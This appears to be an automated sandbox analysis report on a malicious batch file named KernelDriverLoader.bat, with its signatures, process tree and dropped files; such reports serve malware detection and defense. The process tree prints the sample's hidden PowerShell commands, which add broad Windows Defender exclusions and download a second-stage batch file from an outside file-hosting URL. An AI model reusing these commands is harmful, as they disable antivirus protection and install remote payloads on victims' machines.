Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    20/09/2026, 19:33

General

  • Target
    KernelDriverLoader.bat
  • Size 7KB
  • Sample260920-x9r1pscq21
  • SHA256 96510f97d17f3dfb3fb870de79f48a8a2f0c97828f7bb68b4d7db3c9bc7764b1
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell and hide display window.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\KernelDriverLoader.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4180
    • C:\Windows\system32\fltMC.exe
      fLtMc
      2⤵
        PID:4664
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\pOwErShElL.ExE" -NoProfile -WindowStyle Hidden -Command "aDd-MpPrEfeReNcE -ExClUsIoNpAtH 'C:\Users\Public\Documents\WindowsCache'; aDd-MpPrEfeReNcE -ExClUsIoNpRoCeSs 'pOwErShElL.ExE'; aDd-MpPrEfeReNcE -ExClUsIoNpRoCeSs 'cMd.ExE'; aDd-MpPrEfeReNcE -ExClUsIoNpRoCeSs 'wScRiPt.ExE'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.BaT'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.CmD'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.ExE'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.Ps1'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.SyS'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.DlL'"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:808
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\pOwErShElL.ExE" /c powershell -NoProfile -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://file.garden/aq8jkB_uhFstvyCo/KernalDriverLoaderSYSinstall.bat' -OutFile 'C:\Users\Public\Documents\WindowsCache\svc.bat' -UseBasicParsing -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36'"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2076
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command Continue=SilentlyContinue
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:116
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:3240
      • C:\Windows\System32\NOTEPAD.EXE
        "C:\Windows\System32\NOTEPAD.EXE" C:\Users\Public\Documents\WindowsCache\svc2.bat
        1⤵
        • Opens file in notepad (likely ransom note)
        PID:1996

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 2KB
            • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 944B
            • SHA256 91b63fc7449595695b9e0ee26704ea721dc66d7da9e99b38c66962f6d93e65bb
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 7564525e0d835616bbad98e732454df88f868097a763f577cd820319f7362ac6
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_cpl2rrpc.a4s.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cpl2rrpc.a4s.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            svc2.bat

            • Path C:\Users\Public\Documents\WindowsCache\svc2.bat
            • Size 562B
            • SHA256 065e63b9746b5b93c635fb75927057f7800ec7050d2a5f89f2cd5b2efbd5ad58
            • MD5 SHA1 SHA512 TLSH

            memory/808-0-0x0000025EBD180000-0x0000025EBD190000-memory.dmp

            memory/808-1-0x0000025EBD180000-0x0000025EBD190000-memory.dmp

            memory/808-2-0x0000025EBD150000-0x0000025EBD172000-memory.dmp

            memory/2076-28-0x0000026AFBF70000-0x0000026AFBF80000-memory.dmp

            memory/2076-29-0x0000026AFBF70000-0x0000026AFBF80000-memory.dmp

            memory/2076-46-0x0000026AFBF70000-0x0000026AFBF80000-memory.dmp

            memory/2076-47-0x0000026AFBF70000-0x0000026AFBF80000-memory.dmp